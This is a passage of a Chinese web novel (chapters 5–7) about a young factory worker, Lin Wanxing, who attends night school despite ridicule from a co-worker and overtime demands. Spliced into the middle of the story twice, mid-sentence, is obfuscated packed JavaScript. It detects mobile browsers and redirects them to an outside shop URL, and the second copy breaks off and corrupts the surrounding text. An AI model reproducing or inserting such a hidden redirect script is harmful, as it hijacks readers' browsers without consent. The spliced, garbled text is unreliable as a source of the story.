晚上回到宿舍,晚星把崭新的课本放在桌上,和刘组长给的旧教材放在一起。张琪走过来,看着课本,笑着说:“以后你就是夜校生了,可得好好学,别白瞎了咱们的心血。” 晚星点了点头,拿起课本,轻轻翻开一页。暖黄的灯光落在书页上,也落在她的脸上,眼神里满是坚定。她知道,未来的日子会更加忙碌,会有无数个日夜要在流水线和课堂之间奔波,会有疲惫,会有迷茫,会有想要放弃的时候。可只要心里的那团火不熄灭,只要身边有张琪的支持、刘组长的关照,她就一定能坚持下去。 窗外的月光透过玻璃洒进来,落在崭新的课本上,泛着淡淡的微光。晚星握紧了手里的笔,在笔记本的第一页写下:“林晚星,别怕辛苦,别忘初心。”她知道,属于她的追梦之路,正在以一种全新的方式,正式启程。 接下来的几天,晚星一边抓紧时间熟悉夜校的课本,一边努力干活,把周一三五的产量提前补完。张琪帮她顶工位,刘组长帮她协调工作,甚至连张桂兰,也偶尔会在她赶产量时,悄悄多递几个装好的零件过来。晚星心里清楚,这些细微的善意,都是支撑她走下去的力量。 周日晚上,晚星把课本和笔记本整理好,放在书包里。明天,她就要去夜校上课了,就要迈出改变命运的重要一步。躺在床上,她想起老家的父母和弟弟,想起流水线上的日子,想起张琪和刘组长的支持,嘴角慢慢扬起一抹淡淡的笑。不管前路有多难,她都准备好了。 5. 第 5 章 周一清晨的薄雾还没散尽,恒鑫电子厂的车间就已响起机器的轰鸣。林晚星攥着怀里温热的玉米窝头,脚步比往常快了半分——这是她从生活费里抠出来的早饭,自从把仅剩的五十块生活费凑进学费,她的三餐就只剩白粥、窝头和食堂免费的咸菜,可指尖摩挲着口袋里夜校的听课证,心里却比吃了热饭还踏实。 她把听课证小心翼翼地塞进工服内侧的口袋,紧贴着胸口,像是揣着一份不敢轻易示人的希望。走到工位前,张琪已经帮她摆好了一筐振膜,见她过来,立刻压低声音问:“昨晚没睡好吧?眼睛都红了,是不是太紧张今天上课了?” 晚星笑了笑,拿起镊子捏起振膜,动作熟练地对准卡槽:“有点,凌晨醒了一次,翻了翻课本。我把作息表抄好了,贴在宿舍床头,白天多赶点产量,晚上就能安心去上课。”她顿了顿,又补充道,“就是以后早饭可能没法跟你一起吃了,我得提前半小时来车间补产量。” 张琪看着她眼底的红血丝,把自己餐盘里的一个茶叶蛋塞过去:“拿着吃,我不爱吃蛋黄。你别把自己逼太紧,产量实在赶不完我帮你顶,总不能饿着肚子干活。” 晚星推辞不过,接过茶叶蛋,指尖传来温热的触感。“谢谢你,张琪。”她小声道谢,心里清楚,这份小小的善意,是她在忙碌疲惫的日子里最坚实的支撑。 两人正说着,身后传来一阵刻意拔高的笑声。“哟,这是在分享好东西呢?我当是什么宝贝,原来是个茶叶蛋。”一个穿着蓝色工服、烫着卷发的女人走过来,正是同车间三组的李娟。她斜着眼睛扫过晚星,目光落在她口袋里露出的听课证边角上,语气里的嘲讽藏都藏不住,“这是什么?听课证?林晚星,你还真去报那个夜校了?” 晚星下意识把听课证往口袋里按了按,没说话,只是加快了手里的动作。她早就听说过李娟,为人尖酸刻薄,最爱嚼舌根,谁要是有一点不一样的举动,都会被她当众嘲讽。 李娟却不打算放过她,伸手一把拽住晚星的胳膊,硬是把听课证从她口袋里抽了出来。“成人夜校高中起点班?”她念着上面的字,笑得前仰后合,“我说林晚星,你是不是疯了?一个农村来的打工妹,不好好干活赚钱,跑去读什么夜校?还高中起点,你以为读几年书就能摆脱流水线,当办公室文员了?” 周围的工人听到动静,纷纷围了过来,眼神里有好奇,有漠然,也有几分看好戏的意味。张琪立刻挡在晚星身前,瞪着李娟:“李娟,你干什么?把听课证还给她!晚星想读书怎么了?碍着你了?” “我就是觉得好笑。”李娟把听课证扔回晚星怀里,语气刻薄,“读书能当饭吃吗?能给她爹治病吗?我告诉你,打工妹读再多书,骨子里还是打工的,这辈子都别想跳出这个圈子。纯属浪费钱浪费时间,还不如多装几个零件,多赚点工资实在。” 晚星接住被扔回来的听课证,指尖因为用力而泛白。她的脸涨得通红,心里又气又委屈,眼泪在眼眶里打转,可她硬生生憋了回去。她抬起头,直视着李娟,声音不大,却异常坚定:“我读书不是为了让你认可,是为了我自己。就算我一辈子是打工妹,我也想多学点东西,总比浑浑噩噩过日子强。” “哟,还挺硬气。”李娟嗤笑一声,伸手拍了拍晚星的脸颊,动作带着挑衅,“我倒要看看,你能坚持多久。每天加班干活,晚上还要去上课,累不死你才怪。到时候别半途而废,让人笑掉大牙。” “不用你管。”晚星一把挥开她的手,语气里带着几分倔强,“我能不能坚持下去,跟你没关系。请你让开,我要干活了。” “你以为我愿意管你?”李娟翻了个白眼,又对着周围的工人喊道,“大家都来看看啊,咱们车间出了个‘文化人’,放着好好的活不干,非要去追求那些不切实际的梦想,真是自不量力。” 周围响起一阵低低的议论声,有人附和李娟:“确实有点不切实际,打工妹读什么夜校。”也有人同情晚星:“想读书是好事,没必要这么嘲讽人家。”张琪气得浑身发抖,想跟李娟理论,却被晚星拉住了。 晚星摇了摇头,小声对张琪说:“别跟她吵了,越吵她越得意。咱们干活吧,别耽误了产量。”她知道,跟李娟这种人争辩,只会招来更多的嘲讽,与其浪费时间,不如用行动证明自己。 李娟见晚星不再理她,觉得没了意思,又嘲讽了几句,才扭着腰走开。周围的工人见没热闹可看,也纷纷回到自己的工位上,车间里又恢复了只有机器轰鸣的沉闷氛围。 张琪看着晚星紧绷的侧脸,心疼地说:“你别往心里去,李娟就是那样的人,见不得别人好。咱们坚持自己的就好。” 晚星点了点头,拿起零件继续干活,只是指尖微微有些颤抖。刚才的嘲讽像针一样扎在她心上,让她既委屈又难过,可一想到夜校的课堂,想到自己偷偷写下的誓言,心里的坚定就压过了委屈。“我没事,”她笑了笑,“她说得对,我能不能坚持下去,得用行动证明。” 那天上午,晚星干活格外卖力,指尖磨得发疼也浑然不觉。她想把被耽误的产量补回来,更想证明给李娟看,她不是一时兴起,是真的想坚持下去。刘组长路过她的工位时,看出了她的不对劲,停下脚步问:“怎么了?李娟刚才找你麻烦了?” 晚星愣了一下,随即摇了摇头:“没有,刘组长,我没事,就是想多赶点产量。” “别硬撑。”刘组长笑了笑,递给她一瓶水,“我都听说了,想读书不是丢人的事,反而值得鼓励。李娟那边我会说她,你不用理她的闲话。要是产量赶不完,就跟我说,我帮你协调。” 晚星接过水,心里一暖,眼眶又有些发热。“谢谢您,刘组长。” “行了,专心干活吧,注意质量。”刘组长拍了拍她的肩膀,转身走了。张桂兰在一旁看着这一切,没说话,只是默默把自己筐里装好的几个零件,悄悄推到了晚星的工位旁。晚星愣了愣,看向张桂兰,对方却立刻转过身,假装专注地干活,只是耳朵微微泛红。 中午休息时,晚星没有去食堂,而是拿着自己的作息表,躲在车间的角落反复修改。她把每天的时间都精确到分钟:早上六点起床,六点半到车间补产量;中午利用休息时间,翻看夜校的课本;下午专心干活,尽量多赶产量;晚上六点下班,匆匆吃点饭就去夜校;九点下课回来,再用半小时整理笔记;十一点准时睡觉,保证第二天有精力干活。 张琪找到她时,看到她手里密密麻麻的作息表,忍不住叹了口气:“你这也安排得太满了,连休息的时间都没有。万一累垮了怎么办?” “我没事,我年轻,扛得住。”晚星笑了笑,“我不想浪费一点时间,我想快点学好知识,早点拿到毕业证。” “可也不能这么拼命啊。”张琪坐在她身边,“这样吧,中午我帮你打饭,你就在这里看书,节省点时间。晚上你去上课,我帮你把宿舍的灯留着,回来给你热杯牛奶。” 晚星看着张琪,心里满是感激。“张琪,有你在真好。” 下午的工作依旧紧张,李娟时不时会路过晚星的工位,投来嘲讽的目光,还会故意说几句风凉话。晚星却再也没有理会她,只是埋头干活,把所有的精力都放在零件和产量上。她知道,无视,就是对嘲讽最好的反击。 好不容易熬到下班,晚星匆匆拿了两个窝头,就朝着夜校的方向跑去。夕阳把她的影子拉得很长,她的脚步飞快,生怕耽误了上课。路上,她一边跑,一边啃着窝头,干涩的窝头难以下咽,可她却吃得格外香甜——这是她为梦想付出的努力,每一口都值得。 赶到夜校时,离上课还有十分钟。教室里已经坐了不少人,大多是和她一样的在职人员,有工厂工人,有超市收银员,还有外卖员。大家都带着疲惫的神色,却眼神坚定,手里拿着课本,认真地预习着知识点。 晚星找了个靠后的位置坐下,拿出崭新的课本和笔记本,轻轻翻开。暖黄的灯光落在书页上,周围是同学们翻书的沙沙声,这一刻,所有的疲惫、委屈和嘲讽都烟消云散,她的心里只剩下平静和期待。 上课铃响了,语文老师走了进来,是个头发花白的老教师,态度温和。老师简单自我介绍后,就开始讲课,讲的是《论语》里的“学而时习之”。晚星听得格外认真,手里的笔飞快地在笔记本上记录着,生怕错过一个知识点。老师讲得深入浅出,很多她之前看不懂的知识点,经老师一讲解,瞬间就明白了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233574|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课堂上,老师还让同学们互相讨论,晚星旁边坐着一个叫王姐的女人,是超市的收银员,也是为了自考才来上夜校。两人很快就熟悉起来,王姐笑着说:“我刚开始也觉得难,后来慢慢学,就发现其实也没那么可怕。咱们都是一边打工一边学习,不容易,以后互相照应着点。” 晚星点了点头,心里很开心。她没想到,在这里能遇到志同道合的人,这让她更加坚定了坚持下去的决心。 九点整,下课铃响了。晚星收拾好课本和笔记本,和王姐道别后,就朝着厂区的方向走去。夜晚的风带着凉意,吹在脸上,让她清醒了不少。她一边走,一边回忆着课堂上的知识点,心里满是充实。 回到厂区时,已经快十点了。宿舍里的灯还亮着,张琪正坐在床边等她,手里端着一杯热牛奶。“回来了?快喝点牛奶,暖暖身子。”张琪把牛奶递给她,“今天上课怎么样?能听懂吗?” 晚星接过牛奶,喝了一口,温热的牛奶顺着喉咙滑下去,浑身都暖和了。“能听懂,老师讲得很好,我还认识了一个王姐,也是来考自考的。”她笑着说,眼里满是光芒,“张琪,我觉得我选对了,就算再累,也值得。” “那就好。”张琪笑了笑,“快整理笔记吧,整理完早点睡觉,明天还要早起呢。” 晚星点了点头,坐在书桌前,拿出笔记本,开始认真整理。她把老师讲的知识点一条条记录下来,重点内容用铅笔标注出来,遇到不懂的地方,就做好标记,打算周末问刘组长。灯光下,她的侧脸格外专注,眼神里满是坚定。 整理完笔记,已经快十一点了。晚星把课本和笔记本收好,躺在床上,却没有丝毫睡意。她想起白天李娟的嘲讽,想起车间里同学们的议论,想起夜校课堂上的充实,心里百感交集。她知道,未来的日子会更加忙碌,会有无数个日夜要在流水线和课堂之间奔波,会有疲惫,会有迷茫,会有想要放弃的时候,李娟的嘲讽也可能会一直存在。 可她不再害怕了。她把听课证放在枕头下,紧紧攥着,仿佛握着一份力量。她想起父亲的病情,想起弟弟的期盼,想起张琪的支持,想起刘组长的关照,想起夜校课堂上的希望。这些,都是支撑她走下去的力量。 第二天早上,晚星准时起床,六点半就到了车间。李娟比她来得还早,看到她,又想嘲讽几句,可晚星却根本没理她,径直走到自己的工位上,拿起零件开始干活。李娟讨了个没趣,悻悻地闭上了嘴。 接下来的几天,晚星严格按照作息表生活,白天拼命干活,晚上认真上课,日子过得忙碌而充实。她的产量不仅没有落下,还比以前多了不少,刘组长对她赞不绝口,张桂兰也时常会悄悄帮她,李娟虽然还是会说几句风凉话,可见晚星根本不搭理她,也渐渐没了兴致。 周五晚上,上完夜校回来,晚星坐在书桌前,看着自己这一周的笔记,心里满是成就感。她拿起笔,在笔记本的扉页上,又写下了一行字:“无视嘲讽,脚踏实地,终会抵达想去的地方。” 窗外的月光透过玻璃洒进来,落在笔记本上,泛着淡淡的微光。晚星知道,她的边工边学之路,才刚刚正式启程。前方或许还有无数的困难和嘲讽,可她已经准备好了。她会带着心里的那团火,带着身边人的支持,一步步坚定地走下去,用笔墨书写属于自己的未来,用行动证明,打工妹也能有不一样的人生。 周末的时候,晚星按照约定,带着不懂的知识点,来到了刘组长的办公室。刘组长耐心地帮她讲解,从《论语》的思想到作文的写作技巧,讲得细致入微。晚星听得格外认真,时不时点头提问,手里的笔不停记录着。 临走时,刘组长递给她一本旧的《现代汉语词典》:“这个你拿着,看书遇到不认识的字、不懂的词,就查一查。好好学,我相信你一定能行。” 晚星接过词典,紧紧抱在怀里,眼里满是感激。“谢谢您,刘组长,我一定不会辜负您的期望。” 走出办公室,阳光正好,洒在身上暖洋洋的。晚星抱着词典,嘴角扬起一抹淡淡的笑。她抬头看向天空,心里充满了希望。她知道,只要她坚持下去,不放弃,就一定能摆脱流水线的束缚,实现自己的梦想,让所有嘲讽她的人都刮目相看。 6. 第 6 章 周二下午的恒鑫电子厂车间,空气里弥漫着比往日更厚重的机油味,混杂着机器高速运转的热浪,闷得人喘不过气。仓库突然送来一批加急订单,刘组长刚在车间门口宣布“今晚全员加班一小时”,流水线旁便炸开一片低低的抱怨。晚星手里的镊子猛地一顿,心瞬间揪成一团——她今晚有夜校的语文课,加班一小时再赶过去,不仅肯定迟到,连换件干净衣服的时间都没有。 “别愁,我帮你多扛点活,等下你提前十分钟溜。”张琪一眼看穿她的心思,飞快地把自己筐里的零件往晚星工位挪了挪,压低声音宽慰,“工装就工装,咱们是来学东西的,又不是走秀,王老师肯定不介意。” 晚星轻轻点头,指尖却攥得更紧,指节泛白。她身上的蓝色工服已穿了近一个月,袖口磨得起了毛边,衣角还沾着几星洗不净的机油渍,在嘈杂的车间里毫不起眼。可一想到要穿着这身浸满劳作痕迹的衣服,走进窗明几净的夜校课堂,和那些衣着整洁的同学并肩而坐,心底便翻涌起因促与自卑。 “抓紧干活,这批订单得赶在明早发走。”刘组长巡线走到晚星身边,见她走神,轻轻拍了拍她的肩膀,目光扫过她攥紧的镊子,语气里藏着体谅,“我知道你今晚有课,方才跟张桂兰打过招呼了,剩下的产量她帮你补,你提前二十分钟走,别耽误了上课。” 晚星猛地抬头看向刘组长,眼里涌满感激,声音清亮了几分:“谢谢您,刘组长!” “谢什么,好好学比啥都强。”刘组长笑了笑,转身走向张桂兰低声叮嘱了两句。张桂兰抬眼飞快瞥了晚星一下,没说话,只是手里的动作陡然加快,筐里装好的零件很快堆起一小摞。晚星心头一暖,也低下头埋首干活,指尖的薄茧被细小的振膜磨得发疼,竟也浑然不觉,只想着能多赶一个是一个。 五点四十分,刘组长朝她摆了摆手示意可以走了。晚星来不及收拾工位,抓起放在一旁的书包就往车间外冲——书包里装着课本、笔记本、刘组长给的旧词典,还有两个凉透的窝头,是她特意留着路上垫肚子的。 夕阳斜斜挂在天边,把她的影子拉得忽长忽短,蓝色的工装在往来的人群里格外扎眼。她一路狂奔,风掀起衣角,淡淡的机油味随着动作散开,引得路人频频侧目。晚星全然顾不上这些,脑子里只有一个念头:别迟到,千万别迟到。她甚至没时间去纠结身上的衣服有多不合时宜,只盼着能按时坐在课堂里,听王老师讲课。 赶到夜校时,上课铃恰好响起。晚星扶着教室门大口喘气,额头上的汗水顺着脸颊滑落,浸湿了工服领口,鬓边的碎发也黏在皮肤上。教室里瞬间陷入寂静,所有目光齐刷刷聚焦在她身上,有好奇,有漠然,更有几分毫不掩饰的轻视,像一张无形的网,将她裹得喘不过气。 晚星下意识拢了拢袖口,想遮住那些显眼的机油渍,脚步局促地往上次坐的后排挪。路过中间几排时,一个穿白色连衣裙的女生猛地往旁边缩了缩身子,眉头拧成一团,用只有两人能听见的声音嫌恶地说:“身上这么大机油味,别挨着我坐。” 周围传来几声若有似无的嗤笑,像细小的针,扎得她耳尖发烫、脸颊通红。晚星的脚步顿在原地,手足无措地低下头,盯着自己沾满灰尘的帆布鞋,恨不得找个地缝钻进去。比起李娟直白的恶意,这些藏在目光里的偏见更伤人——它像温水煮青蛙,一点点消磨着她鼓起的勇气,让她开始怀疑自己来上夜校的决定。 “晚星,这边来!”王姐的声音从后排传来,带着恰到好处的暖意。晚星抬头,看见王姐正朝她招手,身边特意空出一个位置,眼里没有丝毫嫌弃。她像是抓住了一根救命稻草,快步走过去坐下,声音轻得像蚊子哼:“谢谢王姐。” “谢啥,快坐好,老师要来了。”王姐轻轻拍了拍她的肩膀,压低声音安抚,“别管别人怎么看,咱们是来求学问的,又不是比穿衣。我刚来时,还穿着超市的工服就来了,比你这还惹眼呢,慢慢就习惯了。” 晚星点了点头,心里稍稍安定了些,却还是忍不住蜷缩了一下身子,尽量把自己往座位里缩,不想再引人注意。她偷偷抬眼扫过四周,那些穿着干净便服的同学大多低头预习,偶尔有人抬眼望向她,眼里依旧带着淡淡的嫌弃。她慌忙低下头假装整理课本,指尖因紧张而微微颤抖,连翻书的动作都变得小心翼翼。 王老师拿着教案走进教室,目光缓缓扫过全场,很快就定格在角落里局促不安的晚星身上,也注意到了她那身沾着机油渍的工装。他的眼神里没有丝毫轻视,反倒掠过一丝温和的关切,顿了顿才开口讲课:“今天我们重点讲文言虚词的用法,这部分内容对基础薄弱的同学来说难度不小,大家认真听,有不懂的地方随时举手提问,别藏在心里。” 课堂上,王老师讲得依旧深入浅出,可晚星却难以集中注意力。刚才那些轻视的目光在脑海里反复盘旋,像挥之不去的阴霾。她低头盯着课本上密密麻麻的注解,单个字都认识,可组合成文言虚词放进句子里,就完全摸不着头脑。之前刘组长帮她补过一些基础,可文言虚词这类知识点,她从未接触过,笔记记得乱七八糟,越写越烦躁,最后干脆停下笔,盯着空白的练习册发呆。 “现在我们做个小练习,大家把练习册第一题做了,等下我请同学来回答。”王老师的声音打断了晚星的思绪。她慌忙翻开练习册,看着上面的题目,脑子里一片空白——那些虚词在句子里像一个个陌生的符号,她根本分不清用法,只能傻傻地盯着题目,指尖攥着笔,却一个字也写不出来。 王老师拿着教案在教室里缓步走动,挨个查看同学们的答题情况。走到晚星身边时,他停下脚步,低头瞥见她空白的练习册,又看了看她攥得发白的指节、脸上掩饰不住的窘迫,没有多说一个字,只是伸出手轻轻拍了拍她的肩膀,力道温和,带着无声的安慰,随后便转身继续往前走。 晚星的脸更红了,羞愧与自责像潮水般将她淹没。她觉得自己太没用了,不仅穿着不合时宜的衣服被人嘲笑,连最基础的题目都不会做,根本不配来上夜校。李娟那句“自不量力”在耳边反复回响,让她忍不住怀疑,自己是不是真的不该痴心妄想,老老实实做工赚钱才是正途。 下课铃一响,同学们纷纷收拾东西,三三两两地围在一起讨论题目,结伴离开教室。晚星坐在座位上迟迟未动,只是低着头一遍遍地看着练习册上的题目,眼里满是迷茫与无助。王姐收拾好书包坐在她身边,轻轻叹了口气安慰:“别着急,文言虚词本来就是难点,我刚学的时候也一头雾水,慢慢琢磨就会了。” “我是不是太笨了?”晚星的声音带着几分哽咽,眼眶泛红,“连这么基础的题都不会,还穿着这身衣服来丢人现眼,被人笑话。” “可别这么说。”王姐拍了拍她的手背,语气里满是共情,“你白天在流水线上干八个小时体力活,晚上还要赶过来上课,比我们这些不用做工的人辛苦多了,基础差点太正常了。那些笑话你的人,不过是站着说话不腰疼,根本不懂你的难处。” 就在这时,王老师端着一杯温好的水走了过来,递到晚星面前,语气温和:“喝点水,缓一缓,别给自己太大压力。”晚星愣了一下,连忙伸手接过水杯,指尖触到温热的杯壁,心里也泛起一丝暖意,小声道谢:“谢谢王老师。” 王老师在她对面的座位上坐下,目光温和地看着她,没有半分责备:“我知道你是恒鑫电子厂的工人,白天干活累,晚上还坚持来上课,很不容易。刚才看你练习册是空的,是不是文言虚词这部分没听懂?” 晚星羞愧地低下头,轻轻点头,声音细若蚊蚋:“嗯,我以前没接触过这些,基础太差了,好多知识点都跟不上。” “没关系,基础差可以慢慢补,谁都不是一开始就什么都会的。”王老师笑了笑,语气里满是鼓励,“学习不分身份,也不分起点高低,只要你肯坚持、肯用心,就一定能学好。我看你笔记记得很认真,重点都标出来了,能看出你是个肯下苦功的孩子。” 晚星猛地抬头,眼里满是惊讶。她没想到王老师会注意到自己的笔记,还会如此鼓励她。积压许久的委屈与感动瞬间冲破防线,眼泪不争气地掉了下来,她慌忙低下头用袖口擦拭,声音哽咽:“可是我……我怕赶不上进度,也怕……也怕再被人笑话。” 王老师看穿了她的心思,语气温和却坚定:“怕被笑话?其实你穿着工装来上课,不是丢脸,反而是件光荣的事。你靠自己的双手赚钱糊口,还不忘追求知识、改变命运,比那些衣来伸手饭来张口、却虚度光阴的人强多了。”他拿起晚星的笔记本翻了翻,指着上面密密麻麻的标注,“你看,你已经很努力了,只是缺少系统的梳理。这样吧,以后每周三、五晚上下课,你留下来半小时,我帮你补补基础,从拼音、语法开始,一点点把底子打牢,慢慢就跟上了。” 晚星愣住了,眼泪掉得更凶,却不再是因为委屈,而是因为感动。她用力低下头擦去眼泪,哽咽着说:“谢谢您,王老师,这样太麻烦您了。” “不麻烦,教书育人本来就是我的职责。”王老师笑着摇了摇头,拿起笔在她的笔记本上写下几个拼音和语法要点,字迹工整清晰,“这是今天要掌握的基础内容,你先回去好好看看、记记,明天上课我先提问你,后天晚上咱们就正式开始补课。” 晚星用力点头,紧紧攥着笔记本,仿佛握着一份沉甸甸的希望。刚才那些轻视目光带来的自卑与窘迫,在王老师的温和鼓励下渐渐消散,取而代之的是满心的感动与坚定。她知道,王老师的这份善意与帮助,是她追梦路上又一束温暖的光,照亮了她迷茫的前路。 和王老师、王姐道别后,晚星抱着笔记本快步走向厂区。夜晚的风带着几分凉意,却吹不散她心里的暖意。她低头看着笔记本上王老师写下的知识点,每一个字都透着温柔的鼓励,心里满是充实。那些因被轻视而产生的自我怀疑早已烟消云散,她暗暗下定决心,一定要好好学,不辜负王老师的帮助,也不辜负自己的坚持。 回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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喝完粥,晚星坐在书桌前,拿出笔记本认真整理当天的知识点。她把王老师讲的文言虚词用法一条条抄下来,结合王老师补充的基础要点反复琢磨,遇到不懂的地方就用铅笔做好标记,打算明天上课请教王老师。灯光下,她的侧脸格外专注,指尖握着笔飞快书写,密密麻麻的字迹里,藏着不服输的韧劲与对未来的执着。 整理完笔记时,已经快十二点了。晚星把笔记本小心翼翼地收好,躺在床上却毫无睡意。她想起王老师温和的鼓励,想起那些轻视的目光,想起自己藏在心底的梦想,心里百感交集。她清楚,未来的路依旧艰难,基础薄弱的困境、打工与学习的时间冲突、旁人的偏见与嘲笑,都会成为阻碍。 可她不再害怕了。她把写满知识点的笔记本放在枕头下,紧紧攥着,仿佛握着一份无形的力量。想起父亲的病情、弟弟的期盼,想起身边那些温暖的人,心里的坚定便愈发强烈。她知道,只要自己不放弃,一步一个脚印地努力,就一定能补好基础、跟上进度,用成绩证明自己,用行动打破所有偏见与嘲笑。 第二天一早,晚星依旧六点准时起床,六点半就到了车间。张桂兰已经在工位上忙碌了,见她过来,抬手将一筐整理得整整齐齐的振膜推到她面前,语气依旧平淡却藏着关照:“快干活,昨天你提前走,我帮你补了产量,今天别再落下了。” 晚星愣了愣,连忙道谢:“谢谢张姐。”张桂兰没说话,只是转身继续干活,耳尖却悄悄泛起红晕。晚星看着她的背影,心里暖暖的——原来在这条忙碌疲惫的流水线上,藏着这么多不轻易言说的善意,像点点星光,照亮了她平凡的打工生活。 白天干活时,晚星依旧拼尽全力,只是偶尔会趁着休息的间隙,掏出笔记本翻看王老师写下的知识点,反复记忆。李娟路过她的工位时,看到她在看书,原本想开口嘲讽几句,可对上晚星眼里那份不容置疑的坚定,到了嘴边的话又硬生生咽了回去,悻悻地走开了。 晚上的夜校课,晚星提前半小时就到了。她依旧穿着那身蓝色工服,却不再像昨天那样局促不安。她坦然地走到后排座位坐下,拿出笔记本和练习册认真预习,那些曾经让她自卑的机油渍,此刻仿佛成了她努力生活的勋章,时刻提醒着她:无论身处何种困境,都不能放弃对知识的追求。 王老师走进教室,看到早早坐在座位上预习的晚星,眼里露出赞许的目光,朝她轻轻点了点头。上课期间,王老师特意提问了她几个基础知识点,晚星都准确无误地回答了出来。王老师笑着点头,语气里满是肯定:“很好,看得出来你回去下了苦功,继续加油。” 晚星的心里满是成就感,学习的劲头更足了。课堂上,她听得格外认真,笔记记得密密麻麻,遇到不懂的地方便及时举手提问,不再藏藏掖掖。周围那些轻视的目光渐渐少了,偶尔有人看向她,眼里也多了几分敬佩与认可。 下课铃响后,王老师走到她身边,笑着说:“进步很快,没白让你熬夜复习。明天晚上下课留下来,咱们正式开始补课。”晚星用力点头,眼里满是期待:“好的,谢谢王老师!” 走出夜校,温柔的月光洒在身上,暖洋洋的。晚星抱着笔记本,嘴角扬起一抹淡淡的笑。她知道,学习之路依旧充满挑战,可她已经做好了准备。她会带着身边人的温暖与支持,带着王老师的鼓励,带着心底那份不服输的韧劲,一步步坚定前行,用笔墨书写属于自己的未来,用努力打破所有偏见,让那些曾经的冷眼,最终都变成认可与敬佩的目光。 7. 第 7 章 周三清晨的恒鑫电子厂,刚开机的机器还带着几分滞涩的轰鸣,晚星已坐在工位前忙活起来。指尖熟练地捏起振膜,对准卡槽轻轻一按,整套动作行云流水,可目光却时不时瞟向口袋里的笔记本——那上面记着王老师约定今晚开始补课的提醒,还有她熬夜整理的文言虚词难点,每一个字迹都透着期待。 “昨晚把王老师留的基础点背完了?”张琪端着水杯走过来,把一杯温水放在她手边,压低声音笑,“看你魂不守舍的,八成是盼着今晚补课呢。放心,今天我帮你多赶点产量,你准点走就行。” 晚星抬头冲她笑了笑,眼里藏不住雀跃:“嗯,背了大半,就是还有两个虚词用法总搞混,等着今晚问王老师呢。”她摩挲着笔记本边缘,指尖划过王老师工整的批注,心里满是笃定——哪怕每天挤时间、啃窝头,能跟着王老师补基础,一切都值得。 两人正说着,刘组长拿着一张通知单快步走进车间,脸色比往日严肃几分,一进门就扬了扬手里的单子:“紧急通知,仓库接到一批外贸加急订单,今晚全员强制加班,从六点加到十点,任何人不得请假,务必赶在明早把这批货交出去。” “什么?又加班?”车间里瞬间炸开了锅,抱怨声此起彼伏。晚星手里的镊子“当啷”一声掉在工位上,心瞬间沉到了谷底——今晚是她和王老师约定第一次补课的日子,也是夜校的核心课程,从六点加到十点,根本不可能赶去上课。 张琪也皱起了眉,拍了拍晚星的肩膀,语气里满是惋惜:“这可怎么办?偏偏赶在今晚加班,你这补课……” 晚星咬着唇,指尖攥得发白。她下意识看向刘组长,心里燃起一丝侥幸——或许可以请事假?哪怕扣点工资,也不能错过第一次补课,更不能辜负王老师的特意安排。她深吸一口气,起身朝着刘组长走去。 “刘组长,”晚星的声音带着几分不易察觉的颤抖,“我今晚想请个事假,我……我报了夜校,今晚是老师特意帮我补课的日子,已经约好了。” 刘组长闻言,眉头拧成了疙瘩,语气里带着明显的不悦:“事假?晚星,你知道这批订单有多急吗?外贸单误了工期,整个车间都要受罚,我刚才都说了,任何人不得请假。” “我知道订单紧急,”晚星低下头,声音却依旧坚定,“可这补课我盼了好久,王老师特意抽时间帮我补基础,错过了这次,我不知道还要等多久。我愿意把今天的产量补回来,哪怕明天提前两小时来,您就通融一次行吗?” “通融不了。”刘组长的语气没有丝毫缓和,抬手揉了揉眉心,带着几分恨铁不成钢,“我知道你想读书,我也支持你,可工厂有工厂的规矩。这批订单必须今晚赶完,每个人都得顶上,你要是走了,其他人就要多承担你的工作量,这不公平。” 周围的工人也纷纷看了过来,议论声渐渐响起。晚星的脸涨得通红,却依旧不肯放弃:“刘组长,我真的不能错过这节课,我基础太差了,全靠王老师帮忙……” “读书重要,工作就不重要了?”刘组长打断她的话,语气沉了几分,“你既然来工厂做工,就得先把本职工作做好。今晚这班,你要么留下来加班,要么就按事假算——扣你两天工资,还得把今天落下的产量明天一早补完,你自己选。” 两天工资?晚星的心猛地一揪。她一个月工资才两千二,两天工资就将近两百块,足够她大半个月的生活费,也够交小半个月的夜校学费。可一想到王老师在教室等着她,想到那些晦涩难懂的知识点,想到自己想要改变命运的决心,她咬了咬牙,抬头看向刘组长:“我请事假,工资我认扣,产量我明天一早一定补完。” “你这孩子,真是一根筋!”刘组长又气又无奈,摆了摆手,“行,我准你假,但你记住,明天必须提前两小时到,把产量补回来,不然以后再想请假,门都没有。” “谢谢刘组长!”晚星连忙道谢,心里却又酸又涩——两百块工资,是她省吃俭用攒下来的,就这样扣掉,难免心疼,可一想到能去上课,又觉得这份牺牲值得。 她刚走回工位,就听到一阵刻意拔高的嗤笑声。李娟扭着腰走过来,脸上挂着幸灾乐祸的表情,声音大得故意让周围人都听见:“哟,林晚星,可真有你的啊,为了上那破夜校,甘愿扣两天工资?这不是傻是什么?” 晚星没理她,低头捡起掉在地上的镊子,继续干活,只想尽快赶完手里的活,按时去夜校。 可李娟却不打算放过她,凑到她身边,语气刻薄地煽风点火:“我说你这是图啥?为了个虚名,丢了实实在在的工资,值当吗?那夜校能给你变出金元宝来?还不是读完了照样来流水线做工?” “就是啊,晚星,李娟说得也有道理,扣两天工资太可惜了。”旁边一个女工附和道,“要不你跟刘组长说说,今晚先加班,下次再跟王老师补回来?” “补回来?哪有那么容易。”李娟抢着说道,“人家王老师是名师,说不定人家还不愿意特意再等她呢。我看啊,她就是自不量力,为了装‘文化人’,连工资都不要了,最后还不是竹篮打水一场空。” “李娟,你少说两句!”张琪立刻挡在晚星身前,瞪着李娟,“晚星想读书怎么了?扣她自己的工资,跟你有什么关系?用得着你在这里说三道四吗?” 